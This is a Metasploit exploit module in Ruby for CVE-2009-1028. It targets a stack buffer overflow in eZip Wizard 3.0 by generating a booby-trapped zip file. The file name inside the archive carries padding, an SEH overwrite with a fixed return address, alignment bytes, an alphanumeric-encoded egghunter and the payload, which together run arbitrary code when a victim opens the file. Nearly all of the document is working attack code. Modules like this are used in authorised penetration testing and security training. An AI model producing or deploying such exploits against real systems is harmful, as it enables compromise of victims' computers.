##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'eZip Wizard 3.0 Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability in
        version 3.0 of ediSys Corp.'s eZip Wizard.

        In order for the command to be executed, an attacker must convince someone to
        open a specially crafted zip file with eZip Wizard, and access the specially
        file via double-clicking it. By doing so, an attacker can execute arbitrary
        code as the victim user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'fl0 fl0w',  #Initial discovery, poc
          'jduck',     #Metasploit
          'Lincoln',   #Complete Metasploit port
        ],
      'References'     =>
        [
          [ 'CVE', '2009-1028' ],
          [ 'OSVDB', '52815' ],
          [ 'BID', '34044' ],
          [ 'URL', 'http://www.edisys.com/' ],
          [ 'EDB', '8180' ],
          [ 'EDB', '12059' ],
        ],
      'Platform'          => [ 'win' ],
      'Payload'           =>
        {
          'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
        },
      'DefaultOptions' =>
        {
          'AllowWin32SEH' => true
        },
      'Targets'        =>
        [
          ['Windows Universal', { 'Offset' => 58, 'Ret' => 0x10020710 }],
        ],
      'DisclosureDate' => '2009-03-09',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
        OptString.new('USERNAME', [ true, 'Username', ''])
      ])

  end

  def exploit

    #These badchars do not apply to the final payload
    badchars = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e"

    eggoptions =
    {
        :checksum => true,
        :eggtag => 'w00t'
    }

    hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

    [ 'x86/alpha_mixed'].each { |name|
      enc = framework.encoders.create(name)
      if name =~/alpha/
        enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
      end
      hunter = enc.encode(hunter, nil, nil, platform)
    }

    #Username length affects our offset to hit SEH correctly
    if datastore['USERNAME'].length >= 9
      padding = rand_text_alpha(target['Offset'] - 8)
    else
      padding = rand_text_alpha(target['Offset'] - datastore['USERNAME'].length)
    end

    fname  = padding
    fname << "\x61\x61\x7a\x04"      #nseh, align + conditional jmp
    fname << [target.ret].pack('V')  #seh
    fname << "\x61" * 29             #align for hunter
    fname << "\x58\x58\x41"          #align for hunter
    fname << hunter
    fname << egg

    zip = Rex::Zip::Archive.new
    xtra = [0xdac0ffee].pack('V')
    comment = [0xbadc0ded].pack('V')
    zip.add_file(fname, xtra, comment)

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(zip.pack)
  end
end
